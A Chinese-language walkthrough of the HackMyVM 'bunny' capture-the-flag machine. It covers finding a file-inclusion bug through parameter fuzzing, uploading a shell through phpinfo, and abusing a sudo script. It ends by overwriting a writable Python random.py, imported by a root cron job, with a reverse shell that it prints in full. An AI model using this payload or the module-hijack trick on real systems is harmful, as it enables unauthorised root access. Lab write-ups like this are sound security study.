当前位置:网站首页>hackmyvm-bunny walkthrough
hackmyvm-bunny walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
端口信息很少,常规操作,访问80,爆破目录。
upload.php,password.txt,config.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。
能想到的就是index.php是不是存在ssrf
。于是利用ffuf
对index.php进行参数fuzz,得到参数page
为实际请求参数。
由于allow_url_include
是off,所以没有办法进行php://input
和data
协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。
同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现
[1],成功上传shell。
切换用户
为了操作方便获取pty,反弹一个shell,查看sudo
。
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
很简单切换到用户chris
,得到第一个flag。
提权至root
利用pspy64
可以看到root每分钟在运行pendu.py
。
该文件没做什么事情,但是引入了random
。
从图中可以看到random是可以修改的。于是将random改成一个反弹shell。
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限。
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
猜你喜欢
Phpstudy installs Thinkphp6 (problem + solution)
TypeScript 错误 error TS2469、error TS2731 解决办法
你的本地创建的项目库还在手动创建远端代码仓库再推送吗,该用它了
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
4.表单与输入
解决5+APP真机测试无法访问后台(同局域网)
攻防世界—MISC 新手区1-12
[league/climate] A robust command-line function manipulation library
DVWA drone installation tutorial
(5) 模块与包、编码格式、文件操作、目录操作
随机推荐
hackmyvm-hopper walkthrough
[phpunit/php-timer] A timer for code execution time
TCP通信程序
uniapp | 开发中遇到的兼容性问题(待续)
PHP Foundation March Press Announcement Released
PHP8.2的版本发布管理员和发布计划
About the apache .htaccess file of tp
uniapp | 使用npm update更新后编译报错问题
(5) 模块与包、编码格式、文件操作、目录操作
如何根据地图上的两个坐标点来确定方向
[symfony/mailer] An elegant and easy-to-use mail library
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
逍遥多开模拟器ADB驱动连接
[league/flysystem] An elegant and highly supported file operation interface
宝塔邮局邮箱设置成功后能发送不能接收问题处理
PHP实现搜索框的自动反查提示
2. PHP variables, output, EOF, conditional statements
(3) 字符串
百度定位js API